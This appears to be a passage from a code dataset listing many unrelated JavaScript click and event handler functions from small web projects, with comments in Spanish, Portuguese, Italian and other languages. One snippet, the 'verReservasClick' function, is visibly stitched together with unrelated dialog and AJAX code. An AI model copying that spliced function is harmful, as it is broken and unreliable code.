veranderKleur(lichtblauw,wit);\n }\n}","function ocultable_click() {\n if (!edicion) {\n $(this).siblings('.ocultable-contenido').slideToggle();\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\n }\n }","function conocerEvento(e)\n{\n\n\tvar evento = e || window.event;\n\n\t\t//document.getElementById(\"evento\").value = e.type;\n\n // console.log(\"evento\");\n // console.log(e);\n\n if(evento.type == \"click\")\n {\n\n //console.log(\"nombre del click\");\n //console.log(evento.path[0].id);\n\n var nombreclick=evento.path[0].id;\n\n\n //continuar\n if(nombreclick.substr(0,10) == \"continuar\")\n {\n //alert(\"click\");\n //var id=nombreclick.substr(7);\n //console.log(\"comienza valor\");\n //console.log(nombreclick.substr(8));\n //alert(\"empezo entreno\");\n\n //id_plan = document.getElementById(\"codigoplan\").value;\n //console.log(id_sesion);\n //almacenarlocal('id_plan', id_plan);\n //una();\n\n }\n\n\n\n\n }\n\n\n // switch(evento.type) {\n // case 'mouseover':\n // this.style.borderColor = 'black';\n // break;\n // case 'mouseout':\n // this.style.borderColor = 'silver';\n // break;\n // }\n\n}","function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\r\n\r\n\t$(\"#btnModificarAprendiz\"+contador).click(function(){\r\n\r\n\t\tlimpiarFormulario(\"formModificarAprendiz\");\r\n\t\t\r\n\t\t$(\"#txtIdAprendiz\").val(idAprendiz);\r\n\t\t\r\n\t\t$(\"#txtIdentificacionAprendizMod\").val(identificacion);\r\n\t\t$(\"#txtNombreCompletoAprendizMod\").val(nombreCompleto);\r\n\t\t$(\"#selectFichaAprendizMod\").val(idFicha);\r\n\t\t$(\"#selectDetalleEstadoAprendizMod\").val(idDetalleEstado);\r\n\t\t\r\n\t});\r\n}","function changeUserStatut() {\n $('.sidebar').on('click', '.user-login li a', function(e) {\n e.preventDefault();\n var statut = $(this).find('span').text();\n currentStatut = $('.user-login button span').text();\n $('.user-login button span').text(statut);\n if (statut == 'Busy') {\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\n }\n if (statut == 'Invisible') {\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\n }\n if (statut == 'Away') {\n $('.user-login button i:not(.fa)').removeClass().addClass('away');\n }\n });\n}","function posarBoleta(e) {\r\n// console.log(\"has clicat el \"+ e.target.getAttribute('id'));\r\n if (numDeClics==0) {\r\n //si guanya\r\n if (e.target.getAttribute('id')==aleatorio) {\r\n resultat(\"guany\", \"Felicitats :)\");\r\n // resultat(\"Felicitats :)\");\r\n //si perd\r\n }else{\r\n // resultat(\"Torna a provar! :S\");\r\n resultat(\"perd\", \"Torna a provar! :S\");\r\n\r\n }\r\n numDeClics=numDeClics+1;\r\n }\r\n}","function cambiarEstado(e) {\r\n e.preventDefault();\r\n var contadore = 0;\r\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\r\n if (e.target.classList.contains('activo')) {\r\n e.target.classList.remove('activo');\r\n } else {\r\n for (var x = 0; x < reserva.children.length; x++) {\r\n if (reserva.children[x].classList.contains('activo')) {\r\n contadore++;\r\n }\r\n }\r\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\r\n e.target.classList.add('activo');\r\n } else {\r\n Swal.fire({\r\n icon: 'error',\r\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\r\n text: 'Error'\r\n });\r\n }\r\n }\r\n }\r\n}","creanOnClick() {\n\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\n\n switch (currentAssignmentType) {\n case AssignmentType.USERTOTASK:\n console.error(\"Template.assignmentCalendar.events.click .creneau\", \"User can't normally click on this kind of element when in userToTask\");\n return;\n break;\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\n break;\n }\n }","function verAcuerdoEspecialBonificaciones(id)\n{\nif(document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display==\"block\")\n {\n document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display=\"none\";\n document.getElementById(\"buttonVerDatosAcuerdoEspecialBonificaciones\"+id).innerHTML=\"Ver\";\n }\nelse\n {\n var requerimiento = new RequerimientoGet();\n requerimiento.setURL(\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\");\n requerimiento.addParametro(\"id\",id);\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\n requerimiento.ejecutar();\n }\n\n}","elegirColor(ev){\n console.log(ev);\n //capturamos el color que presiona el usuario\n const nombreColor = ev.target.dataset.color;\n //convertimos a numero el color que selecciona el usuario\n const numeroColor = this.transformarColorANumero(nombreColor);\n //iluminamos el color que apreto el usuario\n this.iluminarColor(nombreColor);\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\n if (numeroColor === this.secuencia[this.subnivel]) {\n this.subnivel++;\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\n if (this.subnivel === this.nivel) {\n this.nivel++;\n //eliminamos los eventos click que ya ocurrieron\n this.eliminarEventosClick();\n if (this.nivel === (ULTIMO_NIVEL +1)) {\n this.ganarJuego();\n\n } else {\n setTimeout(this.siguienteNivel,1500);\n }\n } \n } else {\n //PIERDE\n this.perderJuego();\n }\n \n }","function mostrarDevoluciones(){ // Cuando toque el boton \"devoluciones\" voy a ver la seccion (hacer devoluciones)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; // habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; // oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divEntregas\").style.display = \"none\"; // oculto tabla\r\n document.querySelector(\"#divDevoluciones\").style.display = \"block\"; // muestro redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"none\"; // oculto visualizar estadisticas\r\n}","metodoClick(){\n console.log(\"diste click\")\n }","function logNewsClickForUser(user_id, news_id, user_ip) {\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\n if (err) throw err;\n });\n }","function fAppMeteo() {\n $(\"#bokm\").click(fAffMeteo);\n}","function sitClick(sitID) {\n \n currentSituation = findSituationByID(sitID);\n refreshRateIndicator();\n refreshSituationButtons();\n refreshSpiritQuotes();\n refreshSpiritIcon();\n refreshUnderstanding();\n \n}","function _attivaIsola(){\r\n\t\t\t$('.isola').each(function(){\r\n\t\t\t\tif($(this).is('[id^=\"isola'+isolaIndex+'\"]')){\r\n\t\t\t\t\t$(this).addClass('attiva').removeClass('spenta');\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$(this).removeClass('attiva').addClass('spenta');\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t$('.testo-isola#t'+isolaIndex).addClass('presente');\r\n\r\n\t\t\tclicking = true;\r\n\t\t}","function mostrarEstDocente(){ // Cuando toque el boton \"estadisticas\" voy a ver la seccion (ver estadisticas)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; //Habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; //Oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divDevoluciones\").style.display = \"none\"; // oculto redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"block\"; // muestro visualizar estadisticas\r\n generarListaAlumnos();\r\n}","function ActivarAyudaContextual(bDevolverExitoEjecucion)\r\n{\r\n\tif (bARQAyudasContActivas)\r\n\t\tquitarIconoAyudasCont();\r\n\telse\r\n\t\tponerIconoAyudasCont();\t\t\r\n}","function triggerEvent(event, id) {\n\n event.addEventListener('click', function (e) {\n if (event.id == \"fallevent\") {\n document.getElementById(\"patient!@!local\").classList.add('rotate-fall');\n }\n if (event.id == \"normalevent\") {\n document.getElementById(\"patient!@!local\").classList.remove('rotate-fall');\n }\n fetch(`/${event.id}?username=${id}`, {\n method: 'POST'\n }).then(function (response) {\n response.json().then(function (json) {\n\n responseString = response.status + \" - \" + response.statusText;\n if (response.ok)\n return toastr[\"success\"](json.text, responseString);\n\n else if (response.status != 401)\n return toastr[\"warning\"](json.text, responseString);\n\n else\n throw new Error(responseString);\n });\n })\n .catch(function (error) {\n toastr.error(error, {\n timeOut: 10000\n });\n });\n });\n}","function theClick() {\r\n console.log('inicia')\r\n dataNodes()\r\n dataElements()\r\n backEnd()\r\n}","function cargarEvento(){\n\t\n\tif(document.readyState==\"interactive\"){\n\t\tdocument.getElementById(\"id_enviar\").addEventListener(\"click\",peticionAlta,false);\n\t}\n}","clickHandler(evt) {\n if (evt.target.classList.contains('fa-check')) {\n gameApp.eventHandler(evt);\n }\n\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\n gameApp.activateContract(evt);\n }\n\n if (evt.target.classList.contains('loc')) {\n gameApp.addLoc();\n }\n\n if (evt.target.classList.contains('nav-button')) {\n let elem = evt.target;\n gameApp.gameView.changeMenue(elem);\n }\n }","function iniciar(){ \r\n\tvar botonBuscar = document.getElementById( \"botonBuscar\" ); \r\n\tbotonBuscar.addEventListener( \"click\" , botonPresionado, false ); \r\n} // fin de la función iniciar ","function verReservasClick(opcion){\r\n let container;\r\n let container2;\r\n let almacenados;\r\n \r\n switch (opcion)\r\n {\r\n \r\n case \"crucero\": \r\n //// Cruceros \r\n container = document.querySelector('#crucerosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesCruceros\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = ` vex.defaultOptions.className = 'vex-theme-wireframe'; vex.dialog.open({ message: \" + \"'Estás a punto de ELIMINAR esta Actividad Complementaria ¿Deseas Continuar?', input: \" + '\"\" + '\",' + 'buttons: [$.extend({}, vex.dialog.buttons.YES, {text: \"Continuar\"}), $.extend({}, vex.dialog.buttons.NO, {text: \"Cancelar\"})] }); ';\r\n console.log(cadena);\r\n $(\"#sub_contenido\").html(cadena);\r\n /*\r\n url = \"view/Administradores/itz_eliminar_actividad\";\r\n tipo_consulta = \"eliminar_actividad\";\r\n objParametros = {\r\n 'actividad' : actividad,\r\n 'tipo_consulta' : tipo_consulta\r\n };*/\r\n break;\r\n }//END CASE\r\n }//END SWITCH\r\n \r\n //Se pone un gif mientras se realizan las operaciones AJAX\r\n crear_loading_subcontenido();\r\n //$(\"#sub_contenido\").html(\"
Espere por favor... \");\r\n \r\n $.ajax({\r\n type: 'POST',\r\n url: url,//Obtenida de la que está a nivel de función\r\n data: objParametros,//Obtenida de la que está a nivel de función\r\n success: function(respuesta){//Respuesta es lo que pone PHP en pantalla, prácticamente es traer al PHP si la consulta fue successfuly\r\n $(\"#contenido\").html(respuesta);\r\n }//END SUCCESS\r\n });//END AJAX\r\n}//END FUNCTION","function acceder(usuario){\n console.log(`2. ${usuario} Ahora puedes acceder`)\n entrar();\n}","function clickHandler(e) {\n // cleanup the event handlers\n yesbutton.removeEventListener('click', clickHandler);\n nobutton.removeEventListener('click', clickHandler);\n\n // Hide the dialog\n screen.classList.remove('visible');\n\n // Call the appropriate callback, if it is defined\n if (e.target === yesbutton) {\n if (yescallback)\n yescallback();\n }\n else {\n if (nocallback)\n nocallback();\n }\n\n // And if there are pending permission requests, trigger the next one\n if (pending.length > 0) {\n var request = pending.shift();\n window.setTimeout(function() {\n requestPermission(request.message,\n request.yescallback,\n request.nocallback);\n }, 0);\n }\n }","function gps_permitirConsulta() {\n if (!consultando) {\n gps_pausarAutoConsultaAuto();\n gps_bloquearComponente(\"btn_consulta\", false);\n } else {\n gps_bloquearComponente(\"btn_consulta\", true);\n }\n}","function clickBotonMeGusta(selectorDivMeGusta, listID, itemID) {\n var meGusta = false;\n var textoBotonLike = $(selectorDivMeGusta + \" .botonLike\").text();\n if (textoBotonLike != \"\") {\n if (textoBotonLike == \"Me gusta\") { meGusta = true; }\n\n SP.SOD.executeFunc(\"sp.js\", \"SP.ClientContext\", function () { \n var aContextObject = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);\n SP.SOD.executeFunc('reputation.js', 'Microsoft.Office.Server.ReputationModel.Reputation', function () {\n Microsoft.Office.Server.ReputationModel.Reputation.setLike(aContextObject, listID.substring(1, 37), itemID, meGusta);\n\n aContextObject.executeQueryAsync(\n function () {\n obtenerCantidadMeGustaItem(selectorDivMeGusta, listID, itemID);\n }, function (sender, args) {\n });\n });\n });\n }\n}","clickCheckOutGreenTea() {\n this.clickElem(this.btnCheckOutGreenTea);\n }","function suivant(){\n if(active==\"idee\"){\n reunion_open();\n }else if (active==\"reunion\") {\n travail_open();\n }else if (active==\"travail\") {\n deploiement_open();\n }\n }","function miniaturaClick(elemento) {\n var miniatura = 0;\n //esto determinara que parametro mandar a la funcion controles();\n for (var i = 0; i < cantidadElementos; i++) {\n if (elemento == posicionesMiniaturas[i]) {\n miniatura = i;\n }\n }\n //aqui se le pasa a controles(); el numero de veces que se moveran las imagenes asi como la dirección (derecha o izquierda)\n var cantidad = 0;\n if (elementoActivo < miniatura) {\n for (var i = elementoActivo; elementoActivo < miniatura; i++) {\n cantidad = cantidad + 1;\n controles(\"derechaSlider\", cantidad, \"click\");\n }\n } else {\n for (var i = elementoActivo; miniatura < elementoActivo ; i++) {\n cantidad = cantidad + 1;\n controles(\"izquierdaSlider\", cantidad, \"click\");\n }\n }\n}","function eventsAction() {\n // Despliega la seccion de detalle de información del proyecto\n $('.projectInformation')\n .unbind('click')\n .on('click', function () {\n $('.invoice__section-finder').css({ top: '-100%' });\n $('.projectfinder').removeClass('open');\n\n let rotate = $(this).attr('class').indexOf('rotate180');\n if (rotate >= 0) {\n $('.invoice__section-details').css({\n top: '-100%',\n bottom: '100%',\n });\n $(this).removeClass('rotate180');\n } else {\n $('.invoice__section-details').css({\n top: '32px',\n bottom: '0px',\n });\n $(this).addClass('rotate180');\n }\n });\n\n // Despliega la sección de seleccion de proyecto y cliente\n $('.projectfinder')\n .unbind('click')\n .on('click', function () {\n $('.invoice__section-details').css({\n top: '-100%',\n bottom: '100%',\n });\n $('.projectInformation').removeClass('rotate180');\n\n let open = $(this).attr('class').indexOf('open');\n if (open >= 0) {\n $('.invoice__section-finder').css({ top: '-100%' });\n $(this).removeClass('open');\n } else {\n $('.invoice__section-finder').css({ top: '32px' });\n $(this).addClass('open');\n }\n });\n\n // Despliega y contrae las columnas de viaje y prueba\n $('.showColumns')\n .unbind('click')\n .on('click', function () {\n let rotate = $(this).attr('class').indexOf('rotate180');\n viewStatus = rotate >= 0 ? 'E' : 'C';\n expandCollapseSection();\n });\n\n // Despliega y contrae el menu de opciones de secciones\n $('.invoice_controlPanel .addSection')\n .unbind('click')\n .on('click', function () {\n $('.menu-sections').slideDown('slow');\n $('.menu-sections').on('mouseleave', function () {\n $(this).slideUp('slow');\n sectionShowHide();\n });\n });\n\n // muestra en la cotización la seccion seleccionada\n $('.menu-sections ul li')\n .unbind('click')\n .on('click', function () {\n let item = $(this).attr('data-option');\n glbSec = $(this).attr('data-option');\n $(this).hide();\n\n $(`#SC${item}`).show();\n });\n\n // Despliega y contrae el listado de projectos\n $('.invoice_controlPanel .toImport')\n .unbind('click')\n .on('click', function () {\n let pos = $(this).offset();\n $('.import-sections')\n .slideDown('slow')\n .css({ top: '30px', left: pos.left + 'px' })\n .on('mouseleave', function () {\n $(this).slideUp('slow');\n });\n\n fillProjectsAttached();\n });\n\n // Despliega la lista de productos para agregar a la cotización\n $('.invoice__box-table .invoice_button')\n .unbind('click')\n .on('click', function () {\n let item = $(this).parents('tbody').attr('id');\n glbSec = item.substring(3,2); // jjr\n showListProducts(item);\n });\n \n // Elimina la sección de la cotización\n $('.removeSection')\n .unbind('click')\n .on('click', function () {\n let id = $(this);\n let section = id.parents('tbody');\n section.hide().find('tr.budgetRow').remove();\n sectionShowHide();\n });\n\n // Guarda version actual\n $('.version__button .toSaveBudget')\n .unbind('click')\n .on('click', function () {\n let boton = $(this).html();\n let nRows = $(\n '.invoice__box-table table tbody tr.budgetRow'\n ).length;\n if (nRows > 0) {\n let pjtId = $('.version_current').attr('data-project');\n glbpjtid=pjtId;\n let verId = $('.version_current').attr('data-version');\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\n\n if (verId != undefined){\n modalLoading('S');\n let par = `\n [{\n \"pjtId\" : \"${pjtId}\",\n \"verId\" : \"${verId}\",\n \"discount\" : \"${discount}\",\n \"action\" : \"${interfase}\"\n }]`;\n console.log('SaveBudget',par);\n var pagina = 'ProjectPlans/SaveBudget';\n var tipo = 'html';\n var selector = putsaveBudget;\n fillField(pagina, par, tipo, selector);\n } else{\n alert('No tienes una version creada, ' + \n 'debes crear en el modulo de cotizaciones');\n }\n }\n });\n\n // Guarda nueva version del presupuesto\n $('.version__button .toSaveBudgetAs')\n .unbind('click')\n .on('click', function () {\n let boton = $(this).html();\n let nRows = $(\n '.invoice__box-table table tbody tr.budgetRow'\n ).length;\n if (nRows > 0) {\n let pjtId = $('.version_current').attr('data-project');\n glbpjtid=pjtId;\n // let verCurr = $('.sidebar__versions .version__list ul li:first').attr('data-code');\n let verCurr = lastVersionFinder();\n let vr = parseInt(verCurr.substring(1, 10));\n\n let verNext = 'R' + refil(vr + 1, 4);\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\n let lastmov = moment().format(\"YYYY-MM-DD HH:mm:ss\"); //agregado por jjr\n //console.log('FECHA- ', lastmov);\n if (vr != undefined){ //agregado por jjr\n modalLoading('S');\n let par = `\n [{\n \"pjtId\" : \"${pjtId}\",\n \"verCode\" : \"${verNext}\",\n \"discount\" : \"${discount}\",\n \"lastmov\" : \"${lastmov}\"\n }]`;\n\n var pagina = 'ProjectPlans/SaveBudgetAs';\n var tipo = 'html';\n var selector = putSaveBudgetAs;\n fillField(pagina, par, tipo, selector);\n } else{\n alert('No tienes una version creada, ' + \n 'debes crear en el modulo de cotizaciones');\n }\n }\n });\n\n // Edita los datos del proyecto\n $('#btnEditProject')\n .unbind('click')\n .on('click', function () {\n let pjtId = $('.projectInformation').attr('data-project');\n editProject(pjtId);\n });\n\n // Agrega nueva cotización\n $('.toSave')\n .unbind('click')\n .on('click', function () {\n let pjtId = $('.version_current').attr('data-project');\n let verId = $('.version_current').attr('data-version');\n promoteProject(pjtId, verId);\n });\n // Imprime la cotización en pantalla\n $('.toPrint')\n .unbind('click')\n .on('click', function () {\n let verId = $('.version_current').attr('data-version');\n printBudget(verId);\n });\n\n // Busca los elementos que coincidan con lo escrito el input de cliente y poyecto\n $('.inputSearch')\n .unbind('keyup')\n .on('keyup', function () {\n let id = $(this);\n let obj = id.parents('.finder__box').attr('id');\n let txt = id.val().toUpperCase();\n sel_items(txt, obj);\n });\n\n $('.cleanInput')\n .unbind('click')\n .on('click', function () {\n let id = $(this).parents('.finder__box').children('.invoiceInput');\n id.val('');\n id.trigger('keyup');\n });\n\n // Limpiar la pantalla\n $('#newQuote')\n .unbind('click')\n .on('click', function () {\n window.location = 'ProjectDetails';\n });\n\n // Abre el modal de comentarios\n $('.sidebar__comments .toComment')\n .unbind('click')\n .on('click', function () {\n showModalComments();\n });\n\n expandCollapseSection();\n}","function ClickAbrir() {\n var nome = ValorSelecionado(Dom('select-personagens'));\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n var eh_local = false;\n if (nome.indexOf('local_') == 0) {\n eh_local = true;\n nome = nome.substr(6);\n } else {\n nome = nome.substr(5);\n }\n var handler = {\n nome: nome,\n f: function(dado) {\n if (nome in dado) {\n gEntradas = JSON.parse(dado[nome]);\n CorrigePericias();\n AtualizaGeralSemLerEntradas();\n SelecionaValor('--', Dom('select-personagens'));\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('carregado com sucesso.'));\n } else {\n Mensagem(Traduz('Não encontrei personagem com nome') + ' \"' + nome + '\"');\n }\n DesabilitaOverlay();\n },\n };\n HabilitaOverlay();\n AbreDoArmazem(nome, eh_local, handler.f);\n}","function iniciar(){\n\t\n\tvar btnOkAlerta = document.getElementById(\"okalerta\");\n\tvar btnWarning = document.getElementById(\"okwarning\");\n\tvar btnSucess = document.getElementById(\"oksucess\");\n\n\tbtnOkAlerta.addEventListener(\"click\", function(e){\n\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\tbtnWarning.addEventListener(\"click\", function(e){\n\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\tbtnSucess.addEventListener(\"click\", function(e){\n\t\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\n\tvar btnEnviar = document.getElementById(\"enviar\");\n\tbtnEnviar.addEventListener(\"click\", procesarRecarga, false);\n}","function voltarEtapa3() {\n msgTratamentoEtapa4.innerHTML = \"\";\n //recebendo H3 e setando nela o texto com o nome do cliente\n var tituloDaEtapa = document.querySelector(\"#tituloDaEtapa\");\n tituloDaEtapa.textContent = \"3º Etapa - Colaborador\";\n\n document.getElementById('selecionarPacotes').style.display = 'none'; //desabilita a etapa 4\n document.getElementById('selecionarFuncionarios').style.display = ''; //habilita a etapa 3\n }","function iniciar(){\n\t\t\tdocument.getElementById(\"enviar\").addEventListener('click',validar,false);\n\t\t}","function habilitarEntradas(){\n //evento del movimiento del mouse\n document.addEventListener('mousemove',function(evt){\n raton.x=evt.pageX-canvas.offsetLeft - 6;\n raton.y=evt.pageY-canvas.offsetTop - 28;\n },false);\n\n //evento del click del mouse\n document.addEventListener('mouseup', function(evt){\n ultimaliberacion=evt.which;\n },false);\n //evento del soltar el click del mouse \n canvas.addEventListener('mousedown',function(evt){\n evt.preventDefault();\n ultinaPresion=evt.which;\n },false);\n}","function checkJawabanUntukuser(e){\n\t//hapus tombol cek berhasilan\n\tcekKeberhasilan.classList.add('d-none');\n\t//tampilkan tombol loading\n\tbtn_loading.classList.add('d-block');\n\t//menunggu 3 detik\n\tsetTimeout(function(){\n\t//tarik kembali jendela browser\n\twindow.scrollTo(0,0);\n\t//cek jawaban ketika ada jawaban yang di pilih salah \n\tselainPilihanbenar.forEach(function(jawabanSoalketikaSalah){\n\t//jika jawaban ada yang salah tampilkan info kesalahan\n\tif(jawabanSoalketikaSalah.checked){\n\t//berikan info dan pengertian jawaban pada user\n\tinfo_jawaban.forEach(function(tampilkanInfo){\n\ttampilkanInfo.classList.add('d-block');\n\t});\n\t//berikan info kesalahan kepada user\n\tinfo_salah.classList.add('d-block');\n\t\t}\n});\n\t\t\n\t//cek jawaban ketika benar\n\tjawaban.forEach(function(jawabanSoal){\n\t//jika jawaban benar semua tampilkan info\n\tif(jawabanSoal.checked){\n\t//berikan info dan pengertian jawaban pada user\n\tinfo_jawaban.forEach(function(tampilkanInfo){\n\ttampilkanInfo.classList.add('d-block');\n\t});\n\t//berikan info benar kepada user\n\tinfo_benar.classList.add('d-block');\n\t//jika selain ada jawaban yang salah\n\t }else if(jawabanSoal.checked || jawabanSoal.checked == false){\n\t //hapus info benar kepada user dan berikan kesalahan jawaban salah\n\tinfo_benar.classList.remove('d-block');\n\t }\t\n\t });\n\t//hilangkan tombol loading\n\tbtn_loading.classList.remove('d-block');\n\t}, 3000);\n}","function ClickGerarResumo() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var input = Dom(\"resumo-personagem-2\");\n input.value = GeraResumo();\n input.focus();\n input.select();\n}","function template_eventosFavoritos() {\n\t$(\".btnBotones.estrella\").unbind();\n\t$(\".btnBotones.estrella\").each(function(){\n\t\tvar elemento = $(this);\n\t\t\n\t\t$(this).on({\n\t\t\tclick: function() {\n\t\t\t\tvar tempUrl = \"\";\n\t\t\t\tvar datos;\n\t\t\t\t\n\t\t\t\tif (typeof elemento.attr(\"data-inmueble\") !== 'undefined') {\n\t\t\t\t\ttempUrl = \"lib_php/updFavoritoInmueble.php\";\n\t\t\t\t\tdatos = {\n\t\t\t\t\t\tid: elemento.attr(\"data-id\"),\n\t\t\t\t\t\tinmueble: elemento.attr(\"data-inmueble\")\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\ttempUrl = \"lib_php/updFavoritoDesarrollo.php\";\n\t\t\t\t\tdatos = {\n\t\t\t\t\t\tid: elemento.attr(\"data-id\"),\n\t\t\t\t\t\tdesarrollo: elemento.attr(\"data-desarrollo\")\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$.ajax({\n\t\t\t\t\turl: tempUrl,\n\t\t\t\t\ttype: \"POST\",\n\t\t\t\t\tdataType: \"json\",\n\t\t\t\t\tdata: datos\n\t\t\t\t}).always(function(respuesta_json){\n\t\t\t\t\tif (respuesta_json.isExito == 1) {\n\t\t\t\t\t\tif (parseInt(respuesta_json.id) == 0)\n\t\t\t\t\t\t\telemento.removeClass(\"activo\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\telemento.addClass(\"activo\");\n\t\t\t\t\t\telemento.attr(\"data-id\", respuesta_json.id);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$(\"#template_alertPersonalizado td\").text(\"Inicia sesión o regístrate para agregar tus inmuebles/desarrollos favoritos.\");\n\t\t\t\t\t\ttemplate_alertPersonalizado();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t});\n}","function acceder(){\r\n limpiarMensajesError()//Limpio todos los mensajes de error cada vez que corro la funcion\r\n let nombreUsuario = document.querySelector(\"#txtUsuario\").value ;\r\n let clave = document.querySelector(\"#txtClave\").value;\r\n let acceso = comprobarAcceso (nombreUsuario, clave);\r\n let perfil = \"\"; //variable para capturar perfil del usuario ingresado\r\n let i = 0;\r\n while(i < usuarios.length){\r\n const element = usuarios[i].nombreUsuario.toLowerCase();\r\n if(element === nombreUsuario.toLowerCase()){\r\n perfil = usuarios[i].perfil;\r\n usuarioLoggeado = usuarios[i].nombreUsuario;\r\n }\r\n i++\r\n }\r\n //Cuando acceso es true \r\n if(acceso){\r\n if(perfil === \"alumno\"){\r\n alumnoIngreso();\r\n }else if(perfil === \"docente\"){\r\n docenteIngreso();\r\n }\r\n }\r\n}","function handleClick() {\n Swal.fire({\n title: '¡Atencion!',\n text: '¿ Esta seguro que desea continuar ?',\n icon: 'info',\n confirmButtonText: 'Si',\n confirmButtonColor: '#00afe1',\n cancelButtonText: 'Cancelar',\n showCancelButton: true,\n allowEnterKey: true,\n allowEscapeKey: false,\n allowOutsideClick: false,\n stopKeydownPropagation: true\n }).then((result) => {\n if (result.isConfirmed) {\n Swal.fire({\n icon: 'success',\n title: 'Gracias por confiar en Glavic!',\n text: 'Estas a un paso de finalizar tu pedido. Te pedimos que valides tus datos en el siguiente formulario para confirmar tu pedido.',\n confirmButtonText: 'Ok',\n confirmButtonColor: '#00afe1',\n });\n } else if (result.isDenied) {\n Swal.fire({\n icon: 'error',\n title: 'Ups!',\n text: 'Algo no salio como esperabamos, vuelva a intentar la operacion',\n timer: 1500\n });\n }\n })\n }","function activarHerramientaPerfil() {\n console.log(\"Activar herramienta perfil\");\n\n crearYCargarCapaLineaPerfil();\n activarControlDibujo();\n\n\n}","function ejecutaAccion(elemt, type, proyect ){\n\tactividadPrevia = true;\n\tborradoMultiple = false;\n\tcambiandoCategoria = false;\n\t\n\tif(!$(\"#tipoIdentificacion\").length){\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Frente\") != (-1)) {\n\t\t\t\t$(\".cred_image:eq(0) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(0)\").addClass(\"opacity\"); \n\t\t\t}\n\t\t\t\t\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Reverso\") != (-1)) {\n\t\t\t\t$(\".cred_image:eq(1) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(1)\").addClass(\"opacity\");\n\t\t\t} \n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Pasaporte\") != (-1)) {\n\t\t\t\t console.log($(elemt).closest(\"div\").text());\n\t\t\t\t$(\".cred_image:eq(2) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(2)\").addClass(\"opacity\");\n\t\t } \n\t}\n\t\n \n if($(elemt).closest(\"form\").find(\"select\").attr(\"id\") != \"type_loan\"){\n \t$(elemt).closest(\"form\").find(\"select\").val(type);\n \t$(elemt).closest(\"form\").find(\"select\").change();\n \t$(elemt).closest(\"form\").find(\"select\").blur();\n \t$(elemt).closest(\"form\").find(\".custumStlFileUploadPreview input\").trigger(\"click\");\n }\n if($(elemt).closest(\"form\").find(\"select\").attr(\"id\") == \"type_loan\" ){\n \tcambiarArchivo(type, \"#file_compIncome\", \"#rubroIngresos\");\t\n }\n \n if($(elemt).closest(\"#listCredFm2\").length ){\n \tconsole.log(\"ya entro a tipoIdentificacion\");\n \t cambiarArchivo(type, \"#file_credIdentificacion\", \"#rubroTipoIdentificacion\");\n \t//$(element).closest(\"frm_loan\").find(\".btn_comprobante[tipodoc='\"+type+\"']\");\n }\n\n}","function _ventanaPlanCuentas718(e) {\n\tif (e.type == \"keydown\" && e.which 